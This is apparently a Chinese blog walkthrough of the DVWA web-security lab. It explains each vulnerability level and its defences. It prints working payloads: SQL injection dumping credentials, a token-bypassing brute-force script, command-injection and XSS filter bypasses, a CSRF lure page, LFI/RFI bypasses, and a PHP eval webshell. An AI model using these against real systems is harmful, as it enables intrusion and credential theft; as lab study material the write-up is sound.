靶場練習之DVWA

本文主要是對web安全靶場DVWA的一些小結。
DVWA的下載地址如下:
鏈接:https://pan.baidu.com/s/10ohVgeB-Aj6DKniISwwIvg
提取碼:jsaz

SQL注入

本節主要講解DVWA的SQL注入.

Low級別

DVWA中SQL注入展示
輸入1:
輸入1
輸入1’:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

根據報錯信息,可以確定輸入參數的內容被存放到一對單引號中間.
猜想: 咱們輸入的1在數據庫中出現的位置爲: select … from … where id=’1’ …

破解:
首先,通過 1’ order by 2# 來確定有兩列.
確定列數
爆庫: 1’ union select 1,database()# 得到數據庫名稱爲dvwa
爆庫
爆表: 1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# 得到有兩個表 guestbook,users
爆users表的列: 1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’# 其中最重要的是 user,password
爆users表中的值: 1’ union select 1,group_concat(user,0x3a,password) from users#
代碼分析: $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 與猜想的一致,這是一個GET單引號字符型注入.

Medium 級別

在這裏插入圖片描述
可以看到,變爲了下拉按鈕. 同時,從原先的Get形式變成了Post形式進行提交. 可以使用火狐瀏覽器自帶的插件進行嘗試,或者使用burp suite抓包.
爆庫: POST中數據爲 id=1 union select 1,database()#&Submit=Submit 可以看出,現在的注入變成了數值型.
代碼分析: $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 是數值型的注入.
爆表: POST中數據爲 id=2 union select1,table_name from information_schema.tables wheretable_name=‘dvwa’#&Submit=Submit
發現會出錯,low級別的注入已經不適用了,從出錯內容可以看出,對單引號進行了轉義:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select1,table_name from information_schema.tables wheretable_name=\'dvwa\'#' at line 1

代碼分析: $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); 可以看到是利用了mysqli_real_escape_string函數對id中的特殊字符進行了轉義.
重新爆表: 思路是在語句中不使用單引號
方法一: id=2 union select 1,table_name from information_schema.tables where table_schema=database()#&Submit=Submit
方法二: id=2 union select 1,table_name from information_schema.tables where table_schema=0x64767761 #&Submit=Submit 0x表示十六進制 64767761表示的是使用Hex編碼對dvwa進行編碼,可以通過一些在線工具實現. (推薦這種破解方式,因爲後面的爆列,爆值都可以使用)

High級別

High級別
不在原先的頁面輸入id號,而是重新打開新的頁面輸入id.
輸入: 1 正確
輸入: 1’ 出錯
輸入: 1’ and ‘1’=‘1 正確
輸入: 1’ and ‘1’=‘2 未顯示結果
判定爲字符型注入,通過第二個頁面的Post傳遞參數. 破解方式和Low級別類似.
例如: 爆庫 在輸入框中輸入 1’ union select 1,database()#
代碼分析: $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 可以看出與上面兩個級別有所區別的是通過 limit 1來約束輸出的結果. 但都被#給註釋掉了.
需要特別提到的是,High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是爲了防止一般的sqlmap注入,因爲sqlmap在注入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步注入。

Impossible級別

Impossible級別的代碼採用了PDO技術,劃清了代碼與數據的界限,有效防禦SQL注入,同時只有返回的查詢結果數量爲一時,纔會成功輸出,這樣就有效預防了“脫褲”,Anti-CSRFtoken機制的加入了進一步提高了安全性。 應該是和java中sql預編譯技術一個思路吧。
代碼分析: $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );

SQL注入(Blind)

本節主要講解DVWA的SQL盲注。
普通SQL注入: 1.執行SQL注入攻擊時,服務器會響應來自數據庫服務器的錯誤信息,信息提示SQL語法不正確等 2.一般在頁面上直接就會顯示執行sql語句的結果
SQL盲注: 1.一般情況,執行SQL盲注,服務器不會直接返回具體的數據庫錯誤or語法錯誤,而是會返回程序開發所設置的特定信息(也有特例,如基於報錯的盲注) 2.一般在頁面上不會直接顯示sql執行的結果 3.有可能出現不確定sql是否執行的情況

Low級別

輸入存在的id值
Low級別1
Low級別2
構造語句,探測對應結果:

語句 結果
1 1 exists
2 1’ MISSING
3 1’ and 1=1# exists
4 1’ and 1=2# MISSING

初步判定,屬於基於bool型單引號GET盲注。
爆庫:
1)判斷數據庫名稱的長度(二分法思維)

語句 結果
1’ and length(database())>10 # MISSING
1’ and length(database())>5 # MISSING
1’ and length(database())>3 # exists
1’ and length(database())=4 # exists

2)判斷數據庫名稱(二分法思維)
與上面相似,
?id=1’ and left((select database()),1)>‘s’#
或者使用ascii的方式
1’ and ascii(substr(database(),1,1))>105 #
慢慢得到數據庫的名稱。
爆表之類的都是類似情況。
代碼分析:
字符型:$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';
使用@屏蔽了mysql的錯誤輸出:$num = @mysqli_num_rows( $result );

Medium級別

Medium級別盲注
結合DVWA的SQL注入中Medium級別和盲注的Low級別,通過在Post中構造對應的語句就可以進行注入了。因爲Medium級別都對特殊符號進行了轉義處理,所以對於帶有引號包含字符串的字段值,可以轉換成16進制的形式進行繞過限制,從而提交到數據庫進行查詢。

High級別

參考sql注入中的High基本和盲注的思路。
值得注意的是:代碼中存在隨機執行sleep()函數,延遲的時間是隨機在2-4s,這樣會對正常的基於時間延遲的盲注測試造成干擾。因此無法使用基於布爾的盲注:

if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
 } 

Impossible級別

impossible.php代碼採用了PDO技術,劃清了代碼與數據的界限,有效防禦SQL注入
只有當返回的查詢結果數量爲一個記錄時,纔會成功輸出,這樣就有效預防了暴庫
利用is_numeric($id)函數來判斷輸入的id是否是數字or數字字符串,滿足條件才知曉query查詢語句
Anti-CSRF token機制的加入了進一步提高了安全性,session_token是隨機生成的動態值,每次向服務器請求,客戶端都會攜帶最新從服務端已下發的session_token值向服務器請求作匹配驗證,相互匹配纔會驗證通過

全等級SQL Injection(Blind)對比:

Level Description
Low 1.文本框輸入並提交的形式,GET請求方式; 2.未作任何輸入過濾和限制,攻擊者可任意構造所想輸入的sql查詢
Medium 1.下拉列表選擇數字ID並提交的形式,限制用戶在客戶端的輸入,POST請求方式; 2.利用mysql_real_escape_string()函數對特殊符號
High 1.將數據提交頁面和結果顯示界面實行分離在兩個不同頁面,一定程度上可約束SQLMap自動化工具的常規方式掃描(沒法完全阻擋); 2.在提交頁面,利用set-cookie對輸入的ID值進行傳遞到顯示頁面的cookie字段中保存; 3.在sql語句中添加LIMIT1,以此限定每次輸出的結果只有1個記錄,不會輸出所有記錄
Impossible 1.採用了PDO技術,劃清了代碼與數據的界限,有效防禦SQL注入,Anti-CSRF token機制的加入了進一步提高了安全性; 2.採用參數化查詢,而非動態查詢; 3.對代碼和數據實現分離處理

Brute Force(暴力破解)

本節主要講解DVWA中的暴力破解案例。

首先,介紹一下Burp Suite的四種暴力破解模式:
Sniper標籤–這個是我們最常用的,Sniper是狙擊手的意思。這個模式會使用單一的payload【就是導入字典的payload】組。它會針對每個position中$$位置設置payload。這種攻擊類型適合對常見漏洞中的請求參數單獨地進行測試。攻擊中的請求總數應該是position數量和payload數量的乘積。

Battering ram – 這一模式是使用單一的payload組。它會重複payload並且一次把所有相同的payload放入指定的位置中。這種攻擊適合那種需要在請求中把相同的輸入放到多個位置的情況。請求的總數是payload組中payload的總數。簡單說就是一個playload字典同時應用到多個position中

Pitchfork – 這一模式是使用多個payload組。對於定義的位置可以使用不同的payload組。攻擊會同步迭代所有的payload組,把payload放入每個定義的位置中。比如:position中A處有a字典,B處有b字典,則a【1】將會對應b【1】進行attack處理,這種攻擊類型非常適合那種不同位置中需要插入不同但相關的輸入的情況。請求的數量應該是最小的payload組中的payload數量

Cluster bomb – 這種模式會使用多個payload組。每個定義的位置中有不同的payload組。攻擊會迭代每個payload組,每種payload組合都會被測試一遍。比如:position中A處有a字典,B處有b字典,則兩個字典將會循環搭配組合進行attack處理這種攻擊適用於那種位置中需要不同且不相關或者未知的輸入的攻擊。攻擊請求的總數是各payload組中payload數量的乘積。

Low級別

暴力破解
破解方式:
1)抓包
抓包
2)Intruder
Intruder
Intruder2
Intruder3
attack
3)結果
結果
根據結果知道 admin password 是其中一對用戶名和密碼。

代碼分析: $query = "SELECT * FROMusersWHERE user = '$user' AND password = '$pass';"; 沒什麼防護措施

Medium級別

破解方式和Low級別一致。
不同之處:
1)username和password都使用了mysqli_real_escape_string進行轉義,防止sql注入(低等級的可以進行sql注入)。
2)破解速度變慢了。 代碼: sleep( 2 ); // Login failed 每次輸入失敗將會沉睡2秒。

High級別

通過抓包可知,與上面兩個級別不同的是,high級別加入了token:
token

根據抓包分析,每次生成的token都會放在如圖所示的位置,只要寫一個腳本,在每次請求的時候,根據response來得到token,然後加上用戶名和密碼,就能持續請求下去(畢竟沒有次數限制):
token位置
網上就有人寫了對應的python腳本:

from bs4 import BeautifulSoup
import requests

header={
        'GET': 'http://localhost/DVWA/vulnerabilities/brute/ HTTP/1.1',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Referer':'http://localhost/DVWA/vulnerabilities/brute/',
        'cookie':'PHPSESSID=8fbhto539r4fnjt4dduolvikj3; security=high',
        'Connection':'keep-alive',
        'Upgrade-Insecure-Requests':'1',
         'Host':'127.0.0.1'
        }
requrl="http://127.0.0.1/DVWA/vulnerabilities/brute/"

def get_token(requrl,header):
    response=requests.get(url=requrl,headers=header)
    print (response.status_code,len(response.content))
    soup=BeautifulSoup(response.text,"html.parser")
    input=soup.form.select("input[type='hidden']")   #返回的是一個list列表
    user_token=input[0]['value']                   #獲取用戶的token
    return user_token

user_token=get_token(requrl,header)
i=0
for line in open("password.txt"):
    requrl="http://127.0.0.1/DVWA/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
    i=i+1
    print (i , 'admin' ,line.strip(),end="  ")
    user_token=get_token(requrl,header)
    # 嘗試次數
    if(i==20):
        break

Impossible級別

Impossible級別的代碼加入了可靠的防爆破機制,當檢測到頻繁的錯誤登錄後,系統會將賬戶鎖定,爆破也就無法繼續。從代碼中看,輸錯三次後,就會被鎖定15分鐘。同時,也對sql注入進行了防禦(PDO技術),以及使用token對CSRF漏洞進行了防禦。

if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
} 

Command Injection

本小節主要講解命令注入。
命令執行漏洞的基本原理: 在操作系統中, & 、&& 、| 、 || 都可以作爲命令連接符使用,用戶通過瀏覽器提交執行命令,由於服務器端沒有針對執行函數做過濾,導致在沒有指定絕對路徑的情況下就執行命令

Low級別

命令執行漏洞
輸入ip號 61.135.169.125 :
命令注入1
輸入ip號+執行命令 61.135.169.125 & ipconfig:
命令注入2
代碼分析: 可以看到,low級別的代碼接收了用戶輸入的ip,然後根據服務器是否是Windows NT系統,對目標ip進行不同的ping測試。但是這裏對用戶輸入的ip並沒有進行任何的過濾,所以我們可以進行命令執行漏洞。

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

Medium級別

代碼分析: 與low相比較,多了下面這段,主要替換了 &&和;

 $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 

實際上,根本就不需要使用 && ,直接用 &,即上面low級別的方式仍然適用。
&&和&的區別在於,&&是執行完前面的命令然後執行後面的命令,&是不管前面的命令是否值執行,後面的都執行。

High級別

high級別對黑名單進行了擴充:

 // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    ); 

仔細看黑名單過濾中的 '| ' => '',|後面還有一個空格,所以我們可以進行繞過,輸入以下命令: 61.135.169.125|ipconfig
由此可以看出,黑名單過濾看似安全,但是如果黑名單不全是話,是很容易進行繞過的,所以更傾向於使用白名單的方式。

Impossible級別

代碼分析:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );
    // Split the IP into 4 octects
    $octet = explode( ".", $target );
    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}
// Generate Anti-CSRF token
generateSessionToken();
?> 

其中對應的三種函數作用如下:
stripslashes(string) : 該函數會刪除字符串string中的反斜槓,返回已剝離反斜槓的字符串。
explode(separator,string,limit): 該函數把字符串打散爲數組,返回字符串的數組。參數separator規定在哪裏分割字符串,參數string是要分割的字符串,可選參數limit規定所返回的數組元素的數目。
is_numeric(string): 該檢測string是否爲數字或數字字符串,如果是返回TRUE,否則返回FALSE。

可以看到,Impossible級別的代碼加入了Anti-CSRF token,同時對參數ip進行了嚴格的限制,只有諸如“數字.數字.數字.數字”的輸入纔會被接收執行,因此不存在命令注入漏洞。

Cross Site Request Forgery (CSRF)

本小節主要講解DVWA的CSRF漏洞。
CSRF全稱(Cross-site request forgery)跨站請求僞造,CSRF通過僞裝成受信任用戶的請求來利用受信任的網站,從而執行受害者非本意的操作,相對於XSS漏洞來說CSRF漏洞更具有危險性,當然構造CSRF漏洞也更麻煩。而且,相較於XSS漏洞來說,CSRF漏洞需要受害者已經登錄對應的網站。
下圖爲DVWA的CSRF案例,用於更改密碼。
CSRF漏洞

Low級別

填寫新密碼(password)並提交,抓包,可以看到修改的是password_ new ,password_conf,change這三個參數:
抓包1
顯而易見,可以構造http://192.168.0.135/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&change=change# 發給受害者,受害者點擊之後密碼就會被修改。
更進一步,爲了欺騙受害者,使之更容易點開鏈接,可以構造如下的html頁面 csrf.html :

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>csrf漏洞</title>
</head>

<body>
<form action="http://localhost/DVWA/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="password" />
<input type="hidden" name="password_conf" value="password" />
<input type="hidden" name="Change" value="change" />
<input type="submit" value="美女圖片下載"/>
</form>

</body>
</html>

將html文件放入phpstudy的www目錄下,使用瀏覽器打開:
csrf僞造1
點擊提交,修改密碼成功:
csrf修改成功
可以查看一下源代碼,主要邏輯是: 首先獲取輸入的兩個密碼然後判斷兩個值是否相等,若相等則接着對pass_new變量進行調用mysql_real_escape_string()函數來進行字符串的過濾(過濾了SQL注入)、再調用md5()函數對輸入的密碼進行MD5加密,最後再將新密碼更新到數據庫中。沒有對CSRF漏洞進行任何的防禦機制。

Medium級別

代碼分析: 相較於Low級別,存在下面一段驗證,主要是驗證
reffer頭,判斷髮送請求的是不是本機。

// Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { 
    .....
    |

破解方式:修改referer參數,讓reffer參數值包含host即可提交成功。
修改reffer
但上述的破解方式除非你能使用受害者電腦抓包(笑)破解,不然操作不了。所以可以使用下面的破解方式:
破解方式其二:因爲referer這個參數總是跟鏈接一模一樣的。可以在文件夾後面構造一個與host相同的文件夾將csrf.html放進去,這樣,受害者點擊鏈接就會更新其密碼了:
csrf破解其二

High級別

代碼分析: 最重要的是下面兩段代碼:

// Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
// Generate Anti-CSRF token
generateSessionToken(); 

顯而易見,high級別使用token來放置CSRF漏洞注入。
破解方式未知。。。。。。。。。。

Impossible級別

和前面兩個等級不同,除校驗token以及對sql注入進行了防禦(PDO技術),impossible級修改密碼的界面還需要通過當前密碼,從而能夠進行相應的身份認證:
CSRF注入4

File Inclusion

本小節講解的是DVWA的文件包含漏洞。
簡介: 文件包含漏洞是一種常見的漏洞。利用這個漏洞去包含危險文件,危險文件中有危險函數,從而會造成信息泄露和惡意代碼執行。 文件包含往往要使用到目錄遍歷工具
原理: 通過把常用的功能歸類成文件,然後使用文件包含來提高代碼重用率。但文件包含功能使用的一些函數比如include函數,可以將web根目錄以外的目錄文件包含進來,從而產生了漏洞。
相關知識點:
1)文件包含分類:
LFI:本地文件包含(Local File Inclusion)
RFI:遠程文件包含(Remote File Inclusion)
2)相關的 php.ini 配置參數:
allow_url_fopen = on (默認開啓) 是否允許將URL(如http://或ftp://)作爲文件處理。
allow_url_include = on (默認關閉)是否允許include/require打開URL(如http://或ftp://)作爲文件處理。
注意: 從PHP5.2開始allow_url_include就默認爲Off了,而allow_url_fopen一直是On的。當allow_url_include爲On,就很容易出現文件遠程包含漏洞。 遠程文件包含是因爲開啓了 php 配置中的 allow_url_fopen 選項(選項開啓之後,服務器允許包含一個遠程的文件)。然而事實上若從系統角度來看,即使禁止了PHP的allow_url_fopen和allow_url_include功能, 其實也不能完全阻止遠端調用及其所帶來的安全隱憂,而且它們只是保護了標記爲URL的句柄, 也就是說只能影響http(s)和ftp(s)的調用, 但對包含其他標記的遠端調用,例如對PHP5.2.0新版所提供的php和data則無能爲力,而這些調用一樣會導致注入風險。
3)與文件包含有關的函數:
include():只有代碼執行到該函數時纔會包含文件進來,發生錯誤時只給出一個警告並繼續向下執行。
include_once():和 include()功能相同,區別在於當重複調用同一文件時,程序只調用一次。
require():只要程序執行就包含文件進來,發生錯誤時會輸出錯誤結果並終止運行。
require_once():和 require()功能相同,區別在於當重複調用同一文件時,程序只調用一次。

Low級別

fi的low級別
代碼分析: low級別的代碼未對文件包含做任何處理。

// The page we wish to display
$file = $_GET[ 'page' ]; 

漏洞利用:
1)本地文件包含:
http://localhost/DVWA/vulnerabilities/fi/?page=/etc/shadow
獲得路徑1
報錯,顯示沒有這個文件,說明不是服務器系統不是Linux,但同時暴露了服務器文件的絕對路徑。
再次構造(絕對路徑):
http://localhost/DVWA/vulnerabilities/fi/?page=D:\phpStudy\WWW\DVWA\php.ini
獲得phpinfo1
如圖所示,獲得了dvwa目錄下php.ini配置文件的信息。
2)遠程文件包含
當服務器的php配置中,選項allow_url_fopen與allow_url_include爲開啓狀態時,服務器會允許包含遠程服務器上的文件,如果對文件來源沒有檢查的話,就容易導致任意遠程代碼執行。
如圖,模擬遠程文件包含漏洞,在遠程(實際上是本地)服務器上,構造了一個phpinfo.txt文件。
遠程phpinfo
構造url:
http://localhost/DVWA/vulnerabilities/fi/?\page=http://localhost/DVWA/phpinfo.txt
fi遠程結果
爲了增加隱蔽性,可以使用工具對http://localhost/DVWA/phpinfo.txt進行url編碼。

Medium級別

代碼分析: 在low級別的基礎上,增加了str_replace,即將”http:// ”、”https://”、 ” …/”、”…\”替換爲空字符,即刪除。

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file ); 

破解方式: 可以使用雙寫繞過替換規則。例如url構造爲page=hthttp://tp://192.168.5.12/phpinfo.txt時,str_replace函數會將http://刪除,於是page=http://192.168.5.12/phpinfo.txt,成功執行遠程命令。
同時,因爲替換的只是“…/”、“…\”,所以對採用絕對路徑的方式包含文件是不會受到任何限制的。

High級別

代碼分析: High級別的代碼使用了fnmatch函數檢查page參數,要求page參數的開頭必須是file,服務器纔會去包含相應的文件。

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
} 

High級別的代碼規定只能包含file開頭的文件,看似安全,不幸的是我們依然可以利用file協議繞過防護策略。
破解方式:構造如下url
http://localhost/DVWA/vulnerabilities/fi/?page=file:////D:\phpStudy\WWW\DVWA\php.ini
至於執行任意命令,需要配合文件上傳漏洞利用。首先需要上傳一個內容爲php的文件,然後再利用file協議去包含上傳文件(需要知道上傳文件的絕對路徑),從而實現任意命令執行。

Impossible級別

代碼分析: 簡單粗暴,白名單的方式,直接規定必須爲頁面列出的文件,不然不包含。

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
} 

File Upload

本小節講解的是DVWA的文件上傳漏洞。
簡介: 文件上傳漏洞,通常是由於對上傳文件的類型、內容沒有進行嚴格的過濾、檢查,使得攻擊者可以通過上傳木馬獲取服務器的webshell權限,因此文件上傳漏洞帶來的危害常常是毀滅性的,Apache、Tomcat、Nginx等都曝出過文件上傳漏洞。
文件上傳漏洞利用條件: 文件上傳漏洞的利用是有限制條件的,首先當然是要能夠成功上傳木馬文件,其次上傳文件必須能夠被執行,最後就是上傳文件的路徑必須可知。

Low級別

fu1
代碼分析:

File Upload Source
vulnerabilities/upload/source/low.php
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
?>

服務器對上傳文件的類型、內容沒有做任何的檢查、過濾,存在明顯的文件上傳漏洞,生成上傳路徑後,服務器會檢查是否上傳成功並返回相應提示信息。
漏洞利用:
1)構造一句話木馬 hack.php:

<?php
  @eval($_POST['apple']);
?>

2)上傳一句話木馬:
fu2
根據返回的信息可以知道,絕對路徑爲:
http://localhost/DVWA/hackable/uploads/hack.php
3)使用中國菜刀
輸入路徑 http://localhost/DVWA/hackable/uploads/hack.php
參數 apple

Medium級別

代碼分析: 添加了如下代碼,從而對上傳的文件的類型和大小做了明確的限制。

if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
 ( $uploaded_size < 100000 ) ) { 

漏洞利用方式其一: 使用burp suit抓包,修改文件類型,再次把hack.php上傳上去。
漏洞利用方式其二: 文件包含漏洞+文件上傳漏洞
首先,將hack.php後綴改成png從而上傳上去,但這時候使用菜刀無法利用漏洞——中國菜刀的原理是向上傳文件發送包含apple參數的post請求,通過控制apple參數來執行不同的命令,而這裏服務器將木馬文件解析成了圖片文件,因此向其發送post請求時,服務器只會返回這個“圖片”文件,並不會執行相應命令。
其次,爲了讓服務器將hack.png解析爲php文件,可以藉助Medium級別的文件包含漏洞,即構造如下的url:
http://localhost/dvwa/vulnerabilities/fi/?page=hthttp://tp://localhost/dvwa/hackable/uploads/hack.png
可以看到,通過文件包含漏洞,將hack.png解析成了php文件
最後,使用中國菜刀
輸入路徑 http://localhost/dvwa/vulnerabilities/fi/?page=hthttp://tp://localhost/dvwa/hackable/uploads/hack.png
參數 apple
漏洞利用方式其三: 截斷繞過規則
在php版本小於5.3.4的服務器中,當Magic_quote_gpc選項爲off時,可以在文件名中使用%00截斷,所以可以把上傳文件命名爲hack.php%00.png。此時,上傳文件時,格式會認爲是png,但服務器在執行時候,會忽略 %00後的內容,所以會把文件當做hack.php進行解析。

High級別

代碼分析:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

與Medium不同的是,High級別限制更加嚴格。
1)High級別代碼讀取文件名中最後一個”.”後的字符串,期望通過文件名來限制文件類型,因此要求上傳文件名形式必須是”.jpg”、”.jpeg” 、”*.png”(通過$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1););
2)同時,getimagesize函數更是限制了上傳文件的文件頭必須爲圖像類型(getimagesize函數會通過讀取文件頭,返回圖片的長、寬等信息,如果沒有相關的圖片文件頭,函數會報錯。)。
漏洞利用方式: 使用圖片一句話木馬,即將圖片和一句話木馬合併在一起(製作方式可以直接百度谷歌圖片一句話木馬),然後將圖片上傳上去,其餘步驟和Medium中漏洞利用方式其二一致,都是通過文件包含漏洞將圖片文件解析成爲php格式,然後使用菜刀進行利用。

Impossible級別

Impossible級別的代碼對上傳文件進行了重命名(爲md5值,導致%00截斷無法繞過過濾規則),同時還使用imagecreatefrompng函數對文件進行重新構造,所以即使有惡意腳本,經過重新構造之後,就消失了。同時,加入Anti-CSRF token防護CSRF攻擊。

XSS

本小節主要講解XSS漏洞,包括reflected,stored,dom三種類型。
XSS,全稱Cross Site Scripting,即跨站腳本攻擊,某種意義上也是一種注入攻擊,是指攻擊者在頁面中注入惡意的腳本代碼,當受害者訪問該頁面時,惡意代碼會在其瀏覽器上執行,需要強調的是,XSS不僅僅限於JavaScript,還包括flash等其它腳本語言。根據惡意代碼是否存儲在服務器中,XSS可以分爲存儲型的XSS反射型的XSS。DOM型的XSS由於其特殊性,常常被分爲第三種,這是一種基於DOM樹的XSS。例如服務器端經常使用document.boby.innerHtml等函數動態生成html頁面,如果這些函數在引用某些變量時沒有進行過濾或檢查,就會產生DOM型的XSS。DOM型XSS可能是存儲型,也有可能是反射型。

XSS(Reflected)

Low級別

XSS1
代碼分析: 沒有對輸入的值做任何過濾處理。
// Is there any input?
if( array_key_exists( “name”, $_GET ) && $_GET[ ‘name’ ] != NULL ) {
// Feedback for end user
echo '

Hello ’ . $_GET[ ‘name’ ] . ‘
’;
}
輸入: <script>alert(/xss/)</script>,點擊提交,彈窗,說明存在XSS注入。
XSS2

Medium級別

代碼分析: 相較於low級別,採用了黑名單的方式,新增了過濾 script標籤。

  // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

注入方式:
1)雙寫繞過 <sc<script>ript>alert(/xss/)</script>
2)大小寫混淆繞過 <ScRipt>alert(/xss/)</script>

High級別

代碼分析: 相較於Medium級別,同樣使用了黑名單的方式進行過濾,適用了php的正則化匹配技術,防止大小寫和雙寫繞過。

// Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

注入方式:
通過img、body等標籤的事件或者iframe等標籤的src注入惡意的js代碼。例如:<img src=1 onerror=alert(/xss/)>

Impossible級別

代碼分析:

 // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] ); 

Impossible級別的代碼使用htmlspecialchars函數把預定義的字符&、”、 ’、<、>轉換爲 HTML 實體,防止瀏覽器將其作爲HTML元素。同時還新增了token機制,防止CSRF注入。

XSS(Stored)

XSS3
與反射型和DOM型不同,存儲型XSS,會將數據保存到數據庫中。只要將XSS注入進數據庫中,那麼凡是會顯示該數據的頁面,只要被點開,都會觸發XSS。
DVWA的XSS(Stored)每個級別的過濾方式和XSS(Reflected)是一一對應的,可以看到上一個小結內容。這裏就不多敘述了。

XSS(DOM)

Low級別

查看頁面源代碼(php代碼上什麼都沒有):
XSS4
注入方式: 插入的 javascript 代碼可以在 decodeURL(lang) 被執行
構造url: http://localhost/DVWA/vulnerabilities/xss_d/?default=English<script>alert(/xss/);</script>
XSS5
其效果相當於: document.write("<option value='變量lang 的值'>English<script>alert(/xss/);</script></option>") 所以出現了彈窗。

Medium級別

代碼分析: 相較於low級別的什麼都沒有,Medium級別增加了下面一段代碼,從而對<script>標籤進行了過濾。

# Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    } 

